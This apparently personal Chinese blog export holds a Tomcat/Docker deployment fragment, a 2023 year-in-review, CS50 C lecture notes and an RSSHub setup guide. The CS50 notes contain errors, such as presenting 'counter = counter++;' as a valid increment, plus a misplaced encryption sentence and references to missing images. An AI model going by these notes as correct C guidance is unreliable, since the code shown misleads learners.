#因为之前的已经使用了8080端口，这次我们使用8090端口

f69050d2fdb525ac864bef391db51283a14ad7afbcc78ec719bb254e7f5df9ec

使用IP:8090 来访问一下Tomcat 访问成功！

将war包上传到tomcat容器之中

参考任务8的上传war包到容器之中

[root@tomcat packets]# docker cp /root/packets/myweb.war f69050d2fdb5:/root/apache-tomcat-7.0.96/webapps/   
# f69050d2fdb5 就是刚刚构建的镜像运行的tomcat的容器id，可以通过docker ps -a 查看

Successfully copied 4.1kB to f69050d2fdb5:/root/apache-tomcat-7.0.96/webapps/

使用 IP:8090/war包名/来进行访问我们的war包名字为 myweb

访问成功~！！

2023年总结

Sat, 30 Dec 2023 16:09:11 +0800

对我的2023年的总结文章

我的2023年

一月

1月21日晚，随着窗外突然鞭炮声响起，看了下墙上挂着的时钟，看着时针指向了12点。意味着新的一年开始了，窗外鞭炮声一直响着，我像小时候一样跑到楼下，寻找着是谁在放烟花，发现小区门口一群认识但互相不熟悉的人放着烟花，看着烟花飞到天空上，然后炸开，真的好美(因为住的地方是深圳的郊外,所以有人会偷偷放烟花)

让我想起儿时，和亲戚的小孩互相追赶着拿着烟花玩耍的日子，那个时候真的傻，想要快点长大，快点成人有自己的可支配的钱就可以自己买很多很多烟花了，但随着环境的保护，烟花开始禁售，如果有机会的话，今年过年一定要回老家尽情的放一次烟花，完成小时候的梦想

第二天起来，收到了爸爸妈妈给我的压岁钱，感觉自己已经快20岁了，但是在父母的眼里是一个乳臭未干的小屁孩，大年三十会给我和我姐一个压岁钱放在枕头底下压着，然后第二天起来再给一封压岁钱

1月24号，大年初三，和姐姐一起拼了一下积木放松了一下

然后每年惯例都会去电影院看一部春节档电影，今年看的是<流浪地球2>。春节就在和家人们的陪伴中度过了，感觉时间过的好快。春节的时候还给妈妈给我上大学买的笔记本电脑自己加了一个致态1T的硬盘

二月

经过半年的练习，终于在19岁的时候拿到了C1驾驶证，全部科目都是一遍过

二月和之前的高中同学聚了聚，一群人从别的学校过来，然后出去吃饭喝酒，感觉真的好快乐

三月

三月，第一次试着开同学家里面的车上路，这是我第一次拿到驾照后开车，当时还挺紧张的，双手将方向盘抓的紧紧的，同学的爸爸还纠正我掉头的转方向盘的手。

在去学校健身房的路上，发现学校后山的树花都开了，突然一抬头发现树上粉粉的

四月

四月看了很多部电影<海上钢琴师>,<爆裂鼓手>,<深海>。也去重新补办了港澳通行证

五月

和女朋友趁着学校春假，去了一趟广州，虽然一开始不是特别顺利，因为我想吃完早餐再赶去深圳北，结果因为这个决定让我们错过了去广州的高铁，后面赶紧重新买了一张去广州的站票才没有让这次的行程泡汤。到了广州就赶到酒店放完行李就去找了一家品城记推荐的茶餐厅，真的很好吃，但是那一次我吃的太饱了以至于后面的几天肠胃一直都是不舒服的

第二天早起抓紧打车去广州本地朋友推荐的酒楼喝早茶，好吃是真的好吃但是贵是真的贵昂:(

然后就去了广州动物园，门票是真的挺便宜的，动物也是真的多，还有熊猫可以看，还有可爱的小熊猫，但是五月份的广州也是真的热，感觉当时快要中暑了。还去陈家祠旁边吃了啫啫煲和沙茶面，然后感觉到广州真的好多好吃的东西藏在了小巷子当中。打包了一份沙茶面就坐上了回深圳的高铁

在五月的时候，还第一次自己尝试焊接做了一个小灯，但是后面还是给我整坏了，明年有时间再重新做一次完善一下它

五月末学校举办了四大歌手大会，第一次参加，现场真的很热闹又很好看，每个选手唱歌也很好听，学校场地布置的也很好，氛围也很好，明年还要继续去看，但是明年就是大二学长去看了

六月

在快放暑假的时候，班里面组织了两个月的班级团建终于举办成功了，租了一栋房子，然后我们一个宿舍4个人在二楼switch 区一起玩，一起玩马里奥派对，然后一起玩 24点，一群人在哪里赛博赌博，哈哈哈哈哈，当时觉得switch一群人聚在一起玩是真的好玩，当时宿舍还说要不也一起买一台放宿舍一起玩。然后就在一楼玩地平线4。当时还玩到了刚发售的<王国之泪>。

六月还第一次体验了次中音号，人生第一次吹这种乐器，小时侯总给他们说我是三分钟热度，学这种东西浪费钱。经过这次尝试乐器，发觉到乐器这种东西还是从小开始学会好一些，我一上来五线谱也不会看，还是挺困难的

端午节学校A食堂居然给每人发了个粽子，而且里面的肉还是挺多的，好评好评。

六月当时学校开放游泳馆，当时开始每天都去游个1公里左右，并且开始学自由泳，因为当时只会蛙泳，也仅仅停留在不被溺死的程度当中，放一张学校游泳馆的照片，夏天的游泳馆还是挺多人的

在深圳的大夏天中，最快乐的事情莫过于买一桶巨冰的2L可乐了

七月

七月学校刚刚开始放暑假，开始补之前想玩的游戏，开始玩<底特律变人>，<潜水员戴夫>，<双人成行>，是自带手柄去同学家里面用他的电脑来玩

七月的时候，在家里面和家里人说想回武汉去欢乐谷看音乐节，当时姐姐说去呀，我赞助你，去完武汉顺便去一趟杭州玩一玩，西湖真的很美。听完姐姐说的话，感觉自己好像从来没有自己出去旅游过，于是就开始计划着开始穷游。

八月

开始我的一路北上穷游，从深圳坐硬卧到武汉，然后坐火车从武汉到杭州，最后坐火车从杭州回深圳。当时觉得拉一个行李箱过于麻烦，于是就打算直接背一个书包然后放几套衣服就出发。一个书包就是我的全部行李

8月4号下午5点52分，从深圳站发车到武汉武昌站，不得不说这辆列车的环境真的很不错，但是对于一个180的人睡上卧还是有点憋屈的

在第二天早上6点30就到武汉武昌站，当时是表哥开车来接我，也是住在表哥家里面。到了放下行李就出门去武汉欢乐谷去看<草东没有派对>的演出，不得不说每次来武汉都快热死了，在武汉的大热天下站了8个小时，差点人就要倒下了，真的巨难受，但是自己喜欢的乐队出场的一瞬间，疲惫就抛开了，现场听和在手机上面听真的完全不一样

后面回到哥哥家里面，出去吃了个宵夜然后就回去开始完玩王国之泪，第二天早上8点多起来去武汉东湖走了一走，真的很大，很多个湖连在一起，也是非常的漂亮就是骑单车骑的有点累

后面还喝到了一直想去尝试的茶颜悦色，但是喝过感觉没有特别惊艳，可能之前对它的期望过于高了。每次去武汉都起不来，每次都没有体验武汉的过早，下次回去一定要去尝试一下真的太可惜了。

到武汉的第三天晚上就赶去火车站去坐前往杭州的火车，还是一样选的上铺，经过这一次体验让我知道，真的不要选上铺！！喝水都非常困难

第二天6点左右抵达杭州，因为定的青年旅舍要下午2点才能入住，所以就打算背着行李先去西湖走一走(这个时候体现出来没有带行李箱的好处了)，来到西湖，真的很美，当时是直接去的苏提。西湖很美是真的很美，但是真的走的脚要断掉了，然后天气也很热，一个人静静坐在西湖岸边，旁边的树上还有小松鼠，感觉真的很惬意(也是在这个时候发现手机长焦镜头进了灰尘)。以及断桥的人是真的很多很多很多

住的青年旅舍是"背包十年"，环境和服务都特别好，床也很软

可能是因为武汉太热了，给热中暑了所以在杭州的时候身体很不舒服，头晕头痛的，在杭州呆了2天就启程回深圳了。

后面陪着亲戚去了北海、海南两个地方去拜访亲戚。人生第一次坐船去海南(也是第一次去海南)，放几张在路上的照片(没有经过后期，全都是手机直出)

在八月最后几天，终于回到深圳，终于可以去香港看期待已久的《奥本海默》，但是环大陆上线，一直以为大陆可能不会上线，就打算坐高铁去香港看一场也好久没有过去香港玩了，就开始了这段路程。再加上自己还没有坐过深圳到香港的高铁听说特别快自己也想体验一下。

因为当时香港送游客消费券，下高铁的第一件事就是去拿100元消费券，可以薅的羊毛一定要薅！然后就去铜锣湾吃了一下早餐(香港吃东西也太贵了,随便点了一些东西就100块钱了)

去了一直想去的维多利亚港，坐了天星小轮，也坐了摩天轮。在摩天轮上可以看到整个维多利亚港

香港很美，但是对于我来说消费有一点点高 :))

九月

不知不觉一个暑假就过去了，感觉这次暑假是我过的最充实的一次了，因为到处走到处走，虽然变成黑炭了，但是感觉真的很值得很开心。

因为之前一直都是用吉利的盒式剃须刀，刀片没用多久就不顺滑了再加上刀片替换装是真的贵啊，几十块钱一个也刮不了多久，电动剃须刀刮得也不干净，因为我会长络腮胡又硬又粗。在B站一个UP主(湿式剃须)的推荐下入手了安全剃须刀，感觉特别有质感而且刀片便宜的几毛钱一个，只是前期买装备花费会多一些，再加上自己也喜欢折腾这种东西，真正用上的时候就特别喜欢刀片割掉胡子的感觉(但是还是挺麻烦的)但是自己很享受这个过程。

暑假的结束，回到学校又开始我的快乐游泳时光，第一次尝试进学校的深水池，也从一开始的只会老年蛙到现在会自由泳，原本游100米要休息几分钟才能继续游，到现在的自由泳不带停游1000米，游泳真的很解压又快乐，能够试着1分钟左右游50米了啦

平平淡淡的一个月，又跑了一次香港，因为要送点东西过去给亲戚，然后他们带我们去喝了一顿早茶，也顺便开了一张 ZA Bank 的卡

在食堂的可爱猫猫

学长们在晒日光浴

回到家后抬头看到的天空

去学校游泳馆路上的天空

十月

将之前高中买的苹果 7给修一下，因为很久没有用过了，一开始以为是电池坏掉了，重新换了个电池后发现可以开机了以为已经修好了，但是发现充电充不进去了，于是就在网上买了尾插回来重新拆开换了一下，这样我的苹果7就满血复活了啦

因为上了大学，海底捞可以用大学生优惠，宿舍每学期一次的海底捞宿舍团建又开始了啦，四个人吃的很饱，吃了很多肉，每个人AA下来差不多100多块钱，还是特划算滴

回来路上发现下起了大雨，于是拍下了这一张

因为朋友的XBOX手柄飘逸了，所以我也第一次尝试给XBOX 手柄换摇杆，不得不说XBOX手柄的摇杆是真的很难拆，拆了我快一个小时，也不敢用吸锡器怕弄坏别人的手柄，费劲千辛万苦终于拆了下来，也没有拆坏，摇杆漂移也成功修好

十一月

平平淡淡的一个月，开始在XBOX上玩荒野大镖客，是真的很好玩

然后就开始痛苦的每年一次的体测，是真的累。但是总体成绩比去年高了不少，可能是因为今年有规律运动的原因，还是要规律运动，不能懈怠

十二月

不知不觉自己已经20岁了，感觉时间真的是太快了，小时候总想长大，现在却像回到小时候无忧无虑的年纪。

总结

在2023年，自己开始尝试开始冥想，但是深圳突然大降温，因为之前都是在舍友起床前自己搬椅子去阳台冥想半个小时，但是变得真的很冷，再加上起不了床，其实就是为了我自己的懒惰找的借口。冥想的时候还是很放松的，但是自己太过于在意呼吸，导致冥想的时候肚子过于紧张。开始规律运动，开始游泳、跑步、跳绳，运动真的能让人心情变好。在年末的时候捡起看书的习惯，开始看《被讨厌的勇气》很喜欢他其中的很多观点，看了这本书让自己看开了很多。喜欢上了收听播客，还是要规律的背单词，虽然今年的四级没有过，明年加油(ง •_•)ง。找到自己喜欢的节奏这样生活下去。希望2024年身边的人爱着的人都能够身体健康，开开心心的生活着。以及再看这篇文章的你身体健康呀，新年快乐！！

CS50 Lecture 2-Arrays

Fri, 01 Dec 2023 12:56:06 +0800

这仅仅是我个人的学习笔记，没有什么干货，可能会有写错的信息，不推荐观看学习!

Compiling

Encryption is the act of hiding plain text from prying eyes. decrypting,then, is the act of taking an encrypted piece of text and returning it to human-readable form.
An encrypted piece of text may look like the following:
The compiler, a specialized computer program that converts source code into machine code that can be understood by a computer
For Example, you might have a computer program that looks like this:

#include <stdio.h>

int main(void)
{
    printf("hello, world\n");
}

A compiler will take the above code and turn it into the following machine code:
VS Code, the programming environment provided to you as a CS50 student, utilizes a compiler called clang or c language.
If you were to type make hello, it runs a command that executes clang to create an output file that you can run as a user.
VS Code has been pre-programmed such that make will run numerous command line arguments along with clang for your convenience as a user.
Consider the following code:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    string name = get_string("What's your name? ");
    printf("hello, %s\n", name);
}

You can attempt to enter into the terminal window: clang -o hello hello.c. You will be met by an error that indicates that clang does not know where to find the cs50.h library
Attempting again to compile this code, run the following command in the terminal window: clang -o hello hello.c -lcs50. This will enable the compiler to access the cs50.h library.
Running in the terminal window ./hello, your program will run as intended.
While the above is offered as an illustration, such that you can understand more deeply the process and concept of compiling code, using make in CS50 is perfectly fine and the expectation!

Compiling involves major steps, including the following:

First, preprocessing is where the header files in your code, designated by a # (such as #include <cs50.h>) are effectively copied and pasted into your file. During this step, the code from cs50.h is copied into your program. Similarly, just as your code contains #include <stdio.h>, code contained within stdio.h somewhere on your computer is copied to your program. This step can be visualized as follows:

string get_string(string prompt);
int printf(string format, ...);

int main(void)
{
    string name = get_string("What's your name? ");
    printf("hello, %s\n", name);
}

Second, compiling is where your program is converted into assembly code. This step can be visualized as follows:
Third, assembling involves the compiler converting your assembly code into machine code. This step can be visualized as follows:
Finally, during the linking step, code from your included libraries are converted also into machine code and combined with your code. The final executable file is then outputted.

Debugging

Everyone will make mistakes while coding
Further, consider the following code that has a bug purposely inserted within it:

#include <stdio.h>

int main(void)
{
    for (int i = 0; i <= 3; i++)
    {
        printf("#\n");
    }
}

Type code buggy0.c into the terminal window and write the above code.
printf is a very useful way of debugging your code. You could modify your code as follows:

#include <stdio.h>

int main(void)
{
    for (int i = 0; i <= 3; i++)
    {
        printf("i is %i\n", i);
        printf("#\n");
    }
}

Running this code, you will see numerous statements, including i is 0, i is 1, i is 2, and i is 3. Seeing this, you might realize that Further code needs to be corrected as follows:

#include <stdio.h>

int main(void)
{
    for (int i = 0; i < 3; i++)
    {
        printf("#\n");
    }
}

This code can be further improved as follows:

#include <cs50.h>
#include <stdio.h>

void print_column(int height);

int main(void)
{
    int h = get_int("Height: ");
    print_column(h);
}

void print_column(int height)
{
    for (int i = 0; i <= height; i++)
    {
        printf("#\n");
    }
}

Notice that compiling and running this code still results in a bug.

A second tool in debugging is called a debugger, a software tool created by programmers to help track down bugs in code.
To utilize this debugger, first set a breakpoint by clicking to the left of a line of your code, just to the left of the line number. When you click there, you will see a red dot appearing. Imagine this as a stop sign, asking the compiler to pause such that you can consider what’s happening in this part of your code.
Second, run debug50 ./buggy0. You will notice that after the debugger comes to life that a line of your code will illuminate in a gold-like color. Quite literally, the code has paused at this line of code. Notice in the top left corner how all local variables are being displayed, including h, which has a current does not have a value. At the top of your window, you can click the step over button and it will keep moving through your code. Notice how the value of h increases.
While this tool will not show you where your bug is, it will help you slow down and see how your code is running step by step. You can use step into as a way to look further into the details of your buggy code.

Arrays

In Week 0,we talked about data types such as bool, int, char, string, etc
Each data type requires a certain amount of system resources:
- bool 1 byte
- int 4bytes
- long 8 bytes
- float 4 bytes
- double 8 bytes
- char 1 byte
- string ? bytes
Inside of your computer, you have a finite amount of memory available.
Physically, on the memory of your computer, you can imagine how specific types of data are stored on your computer. You might imagine that a char, which only requires 1 byte of memory, may look as follows:
Similarly, an int, which requires 4 bytes might look as follows:
We can create a program that explores these concepts. Inside your terminal, type code scores.c and write code as follows:

#include <stdio.h>

int main(void)
{
    // Scores
    int score1 = 72;
    int score2 = 73;
    int score3 = 33;

    // Print average
    printf("Average: %f\n", (score1 + score2 + score3) / 3.0);
}

Notice that the number on the right is a floating point value of 3.0, such that the calculation is rendered as a floating point value in the end

Running make scores, the program runs.
You can imagine how these variables are stored in memory:
Arrays are a way of storing data back-to-back in memory such that this data is easily accessible.
int scores[3] is a way of telling the compiler to provide you three back-to-back places in memory of size int to store three scores. Considering our program, you can revise your code as follows:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    // Get scores
    int scores[3];
    scores[0] = get_int("Score: ");
    scores[1] = get_int("Score: ");
    scores[2] = get_int("Score: ");

    // Print average
    printf("Average: %f\n", (scores[0] + scores[1] + scores[2]) / 3.0);
}

Notice that score[0] examines the value at this location of memory by indexing into the array called scores at location 0 to see what value is stored there.

You can see how while the above code works, there is still an opportunity for improving our code. Revise your code as follows:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    // Get scores
    int scores[3];
    for (int i = 0; i < 3; i++)
    {
        scores[i] = get_int("Score: ");
    }

    // Print average
    printf("Average: %f\n", (scores[0] + scores[1] + scores[2]) / 3.0);
}

Notice how we index into scores by using scores[i] where i is supplied by the for loop.

We can simplify or abstract away the calculation of the average. Modify your code as follows:

#include <cs50.h>
#include <stdio.h>

// Constant
const int N = 3;

// Prototype
float average(int length, int array[]);

int main(void)
{
    // Get scores
    int scores[N];
    for (int i = 0; i < N; i++)
    {
        scores[i] = get_int("Score: ");
    }

    // Print average
    printf("Average: %f\n", average(N, scores));
}

float average(int length, int array[])
{
    // Calculate average
    int sum = 0;
    for (int i = 0; i < length; i++)
    {
        sum += array[i];
    }
    return sum / (float) length;
}

Notice that a new function called average is declared. Further, notice that a const or constant value of N is declared. Most importantly, notice how the average function takes int array[], which means that the compiler passes an array to this function.

Not only can arrays be containers: They can be passed between functions.

Strings

A string is simply an array of variables of type char: an array of characters.
Considering the following image, you can see how a string is an array of characters that begins with the first character and ends with a special character called a NUL character:
Imagining this in decimal, your array would look like the following(ASCII values):
Implementing this in your own code, type code hi.c in the terminal window and write code as follows:

#include <stdio.h>

int main(void)
{
    char c1 = 'H';
    char c2 = 'I';
    char c3 = '!';

    printf("%c%c%c\n", c1, c2, c3);
}

Notice that this will output a string of characters.

Similarly, make the following modification to your code:

#include <stdio.h>

int main(void)
{
    char c1 = 'H';
    char c2 = 'I';
    char c3 = '!';

    printf("%i %i %i\n", c1, c2, c3);
}

Notice that that ASCII codes are printed by replacing %c with %i.

To further understand how a string works, revise your code as follows:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    string s = "HI!";
    printf("%c%c%c\n", s[0], s[1], s[2]);
}

Notice how the printf statement presents three values from our array called s.

As before, we can replace %c with %i as follows:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    string s = "HI!";
    printf("%i %i %i %i\n", s[0], s[1], s[2], s[3]);
}

Notice that this prints the string’s ASCII codes, including NUL.

Let’s imagine we want to say both HI! and BYE!. Modify your code as follows:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    string s = "HI!";
    string t = "BYE!";

    printf("%s\n", s);
    printf("%s\n", t);
}

Notice that two strings are declared and used in this example.

You can visualize this as follow:
We can further improve this code. Modify your code as follows:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    string words[2];

    words[0] = "HI!";
    words[1] = "BYE!";

    printf("%s\n", words[0]);
    printf("%s\n", words[1]);
}

Notice that both strings are stored within a single array of type string.

String Length

A common problem within programming, and perhaps C more specifically, is to discover the length of an array. How could we implement this in code? Type code length.c in the terminal window and code as follows:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    // Prompt for user's name
    string name = get_string("Name: ");

    // Count number of characters up until '\0' (aka NUL)
    int n = 0;
    while (name[n] != '\0')
    {
        n++;
    }
    printf("%i\n", n);
}

Notice that this code loops until the NUL character is found.

This code can ben improved by abstracting away the counting as follows:

#include <cs50.h>
#include <stdio.h>

int string_length(string s);

int main(void)
{
    // Prompt for user's name
    string name = get_string("Name: ");
    int length = string_length(name);
    printf("%i\n", length);
}

int string_length(string s)
{
    // Count number of characters up until '\0' (aka NUL)
    int n = 0;
    while (s[n] != '\0')
    {
        n++;
    }
    return n;
}

Since this is such a common problem within programming, other programmers have created code in the string.h library to find the length of a string. You can find the length of a string by modifying your code as follows:

#include <cs50.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    // Prompt for user's name
    string name = get_string("Name: ");
    int length = strlen(name);
    printf("%i\n", length);
}

Notice that this code uses the string.h library, declared at the top of the file. Further, it uses a function from that library called strlen, which calculates the length of the string passed to it.

ctype.h is another library that is quite useful. Imagine we wanted to create a program that converted all lowercase characters to uppercase ones. In the terminal window type code uppercase.c and write code as follows:

#include <cs50.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    string s = get_string("Before: ");
    printf("After:  ");
    for (int i = 0, n = strlen(s); i < n; i++)
    {
        if (s[i] >= 'a' && s[i] <= 'z')
        {
            printf("%c", s[i] - 32);
        }
        else
        {
            printf("%c", s[i]);
        }
    }
    printf("\n");
}

Notice that this code iterates through each value in the string. The program looks at each character. If the character is lowercase, it subtracts the value 32 from it to convert it to uppercase.

Recalling our previous work from last week, you might remember this ASCII values chart:

The ASCII values chart

When a lowercase character has 32 subtracted from it, it results in an uppercase version of that same character.
While the program does what we want, there is an easier way using the ctype.h library. Modify your program as follows:

#include <cs50.h>
#include <ctype.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    string s = get_string("Before: ");
    printf("After:  ");
    for (int i = 0, n = strlen(s); i < n; i++)
    {
        if (islower(s[i]))
        {
            printf("%c", toupper(s[i]));
        }
        else
        {
            printf("%c", s[i]);
        }
    }
    printf("\n");
}

Notice that the program iterates through each character of the string. The toupper function is passed s[i]. Each character (if lowercase) is converted to uppercase.

It’s worth mentioning that toupper automatically knows to uppercase only lowercase characters. Hence, your code can be simplified as follows:

#include <cs50.h>
#include <ctype.h>
#include <stdio.h>
#include <string.h>

int main(void)
{
    string s = get_string("Before: ");
    printf("After:  ");
    for (int i = 0, n = strlen(s); i < n; i++)
    {
        printf("%c", toupper(s[i]));
    }
    printf("\n");
}

Notice that this code uppercases a string using the ctype library.

You can read about all the capabilities of the ctype library on the Manual Pages.

Command-Line Arguments

Command-line arguments are those arguments that are passed to your program at the command line. For example, all those statements you typed after clang are considered command line arguments. You can use these arguments in your own programs!
In your terminal window, type code greet.c and write code as follows:

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    string answer = get_string("What's your name? ");
    printf("hello, %s\n", answer);
}

Notice that this says hello to the user.

Still, would it not be nice to be able to take arguments before the program even runs? Modify your code as follows:

#include <cs50.h>
#include <stdio.h>

int main(int argc, string argv[])
{
    if (argc == 2)
    {
        printf("hello, %s\n", argv[1]);
    }
    else
    {
        printf("hello, world\n");
    }
}

Notice that this program knows both argc, the number of command line arguments, and argv which is an array of the characters passed as arguments at the command line.

Therefore, using the syntax of this program, executing ./greet David would result in the program saying hello, David. int argc 是一个整数变量，代表了命令行参数的数量，包括程序名称本身。

string argv[] 是一个字符串数组，用来存储命令行参数的值，其中 argv[0] 存储程序的名称，argv[1] 存储第一个参数，argv[2] 存储第二个参数，以此类推。

Exit Status

When a program ends, a special exit code is provided to the computer.
When a program exits without error, a status code of 0 is provided the computer. Often, when an error occurs that results in the program ending, a status of 1 is provided by the computer.
You could write a program as follows that illustrates this by typing code status.c and writing code as follows:

#include <cs50.h>
#include <stdio.h>

int main(int argc, string argv[])
{
    if (argc != 2)
    {
        printf("Missing command-line argument\n");
        return 1;
    }
    printf("hello, %s\n", argv[1]);
    return 0;
}

Notice that if you fail to provide ./status David, you will get an exit status of 1. However, if you do provide ./status David, you will get an exit status of 0.

You can imagine how you might use portions of the above program to check if a user provided the correct number of command-line arguments.

Cryptography

Cryptography is the art of ciphering and deciphering a message.
plaintext and a key are provided to a cipher, resulting in ciphered text.
The key is a special argument passed to the cipher along with the plaintext. The cipher uses the key to make decisions about how to implement its cipher algorithm.s

Summing Up

In this lesson, you learned more details about compiling and how data is stored within a computer. Specifically, you learned…

Generally, how a compiler works.
How to debug your code using four methods.
How to utilize arrays within your code.
How arrays store data in back to back portions of memory.
How strings are simply arrays of characters.
How to interact with arrays in your code.
How command-line arguments can be passed to your programs.
The basic building-blocks of cryptography.

CS50 Lecture 1-C

Wed, 01 Nov 2023 12:48:55 +0800

这仅仅是我个人的学习笔记，没有什么干货，可能会有写错的信息，不推荐观看学习!

Welcome!

Recall that machines only understand binary. Where humans write source code, a list of instructions for the computer that is human readable, machines only understand what we can now call machine code. This machine code is a pattern of ones and zeros that produces a desired effect.
It turns out that we can convert source code into machine code using a very special piece of software called a compiler. Today, we will be introducing you to a compiler that will allow you to convert source code in the programming language C into machine code.

Hello World

Notice that there is a file explorer on the left side where you can find your files. Further, notice that there is a region in the middle called a text editor where you can edit your program. Finally, there is a command line interface, known as a CLI, command line, or terminal window where we can send commands to the computer in the cloud.

We will be using three commands to write, compile, and run our first program

code hello.c

make hello

./hello

The first command, code hello.c creates a file and allows us to type instructions for this program. The second command, make hello, compiles the file from our instructions in C and creates an executable file called hello. The last command, ./hello, runs the program called hello.

We can build your first program in C by typing code hello.c into the terminal window. Notice that we deliberately lowercased the entire filename and included the .c extension. Then, in the text editor that appears, write code as follows:

#include <stdio.h>

int main(void)
{
    printf("hello, world\n");
}

Note that every single character above serves a purpose. If you type it incorrectly, the program will not run. printf is a function that can output a line of text. Notice the placement of the quotes and the semicolon. Further, notice that the \n creates a new line after the words hello, world.

Clicking back in the terminal window, you can compile your code by executing make hello. Notice that we are omitting .c. make is a compiler that will look for our hello.c file and turn it into a program called hello. If executing this command results in no errors, you can proceed. If not, double-check your code to ensure it matches the above.
Now, type ./hello and your program will execute saying hello, world.
Now, open the file explorer on the left. You will notice that there is now both a file called hello.c and another file called hello. hello.c is able to be read by the compiler: It’s where your code is stored. hello is an executable file that you can run, but cannot be read by the compiler.

Functions

In Scratch, we utilized the say block to display any text on the screen. Indeed, in C, we have a function called printf that does exactly this.
Notice our code already invokes this function:

printf("hello, world\n");

Notice that the printf function is called. The argument passed to printf is ‘hello, world\n’. The statement of code is closed with a ;.

#include <stdio.h>

int main(void)
{
    printf("hello, world\n");
}

The statement at the start of the code #include <stdio.h> is a very special command that tells the compile that you want to use the capabilities of a library called stdio.h, a header file. This allows you, among many other things, to utilize the printf function. You can read about all the capabilities of this library on the Manual Pages. The Manual Pages provide a means by which to better understand what various commands do and how they function.
Libraries are collections of pre-written functions that others have written in the past that we can utilize in our code.

Variables

Recall that in Scratch, we had the ability to ask the user “What’s your name?” and say “hello” with that name appended to it.
In C, we can do the same. Modify your code as follows:

#include <stdio.h>
#include <cs50.h>

int main(void)
{
    string answer = get_string("What's your name? ");
    printf("hello, %s\n", answer);
}

The get_string function is used to get a string from the user. Then, the variable answer is passed to the printf function. %s tells the printf function to prepare itself to receive a string.

answer is a special holding place we call a variable. answer is of type string and can hold any string within it. There are many data types, such as int, bool, char, and many others.
%s is a placeholder called a format code that tells the printf function to prepare to receive a string. answer is the string being passed to %s.
printf allows for many format codes. Here is a noncomprehensive list of ones you may utilize in this course:

%c

%f

%i

%li

%s

%s is used for string variables. %i is used for int or integer variables. You can find out more about this on the Manual Pages

Conditionals

In C, you can assign a value to an int or integer as follows:

int counter = 0;

Notice how a variable called counter of type int is assigned the value 0.

C can also be programmed to add one to counter as follows:

counter = counter + 1;

Notice how 1 is added to the value of counter.

This can be represented also as:

counter = counter++;

Notice how 1 is added to the value of counter. However the ++ is used instead of counter + 1.

You can also subtract one from counter as follows:

counter = counter--;

Notice how 1 is removed to the value of counter.

#include <cs50.h>
#include <stdio.h>

int main(void)
{
    // Prompt user to agree
    char c = get_char("Do you agree? ");

    // Check whether agreed
    if (c == 'Y' || c == 'y')
    {
        printf("Agreed.\n");
    }
    else if (c == 'N' || c == 'n')
    {
        printf("Not agreed.\n");
    }
}

Notice that single quotes are utilized for single characters. Further, notice that == ensure that something is equal to something else, where a single equal sign would have a very different function in C. Finally, notice that || effectively means or.

Loops

We look at a few examples from Scratch. Consider the following code:

int counter = 3;
while (counter > 0)
{
    printf("meow\n");
    counter = counter - 1;
}

Notice that his code assigns the value of 3 to the counter variable. Then, the while loop says meow and removes one from the counter for each iteration. Once the counter is not greater than zero, the loop ends.

Your meow function can be further modified to accept input:

#include <stdio.h>

void meow(int n);

int main(void)
{
    meow(3);
}

// Meow some number of times
void meow(int n)
{
    for (int i = 0; i < n; i++)
    {
        printf("meow\n");
    }
}

Operators and Abstraction

You can implement a calculator in C. In your terminal, type code calculator.c and write code as follows:

#include <cs50.h>
#include <stdio.h>
    
int main(void)
{
	// Prompt user for x
    int x = get_int("x: ");    
        
    // Prompt user for y
    int y = get_int("y: ");
    
	// Perform addition
	printf("%i\n", x + y);
    }

Notice how the get_int function is utilized to obtain an integer from the user twice. One integer is stored in the int variable called x. Another is stored in the int variable called y. Then, the printf function prints the value of x + y, designated by the %i symbol.

Operators refer to the mathematical operations that are supported by your compiler. In C, these mathematical operators include:
- + for addition
- - for subtraction
- * for multiplication
- / for division
- % for remainder

在服务器部署RSS服务

Thu, 14 Sep 2023 21:05:37 +0800

步骤:

系统为：Ubuntu 20.04

安装Docker Engine
部署RSS服务

1. 安装Docker Engine

使用apt存储库进行安装

设置存储库

更新软件包索引并安装apt软件包以运行apt通过HTTPS使用存储库:
```
$ sudo apt-get update
$ sudo apt-get install ca-certificates curl gnupg
```

添加Docker 的官方 GPG 密钥

$ sudo install -m 0755 -d /etc/apt/keyrings
$curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
$sudo chmod a+r /etc/apt/keyrings/docker.gpg

使用一下命令设置存储库

$ echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

安装Docker Engine

更新apt包索引:
```
$ sudo apt-get update
```

安装Docker Engine、containerd 和Docker Compose

要安装最新版本，运行

$ sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

通过运行hello-world镜像验证 Docker Engine 安装是否成功
```
$ sudo docker run hello-world
```
此命令下载测试镜像并在 container 中运行它。当 container 运行时，它会打印一条确认消息并退出

2. 部署RSS服务

Docker Compose 部署

下载 docker-compose.yml

$ sudo wget https://raw.githubusercontent.com/DIYgod/RSSHub/master/docker-compose.yml

检查有无需要修改的配置(映射端口啥的)
```
$ sudo vi docker-compose.yml
```
创建 volume 持久化 Redis 缓存
```
$ sudo docker volume create redis-data
```
启动
```
$ sudo docker-compose up -d 
```

Docker 部署

运行下面的命令下载 RSSHub 镜像
```
$ sudo docker pull diygod/rsshub
```
然后运行 RSSHub 即可
```
$ sudo docker run -d --name rsshub -p 1200:1200 diygod/rsshub
```
在浏览器中打开 http://IP:1200/

可以使用下面的命令来关闭 RSSHub
```
$ sudo docker stop rsshub
```

更新 RSSHub

删除旧容器
```
$ docker-compose down
```
如果之前下载/使用过镜像，下方命令可以帮助你获取最新版本：这可能可以解决一些问题
```
$ docker pull diygod/rsshub
```
然后重复安装步骤

删除旧容器

$ docker stop rsshub
$ docker rm rsshub

然后重复安装步骤

现在RSSHub服务就部署完成

参考文档

Install Docker Engine

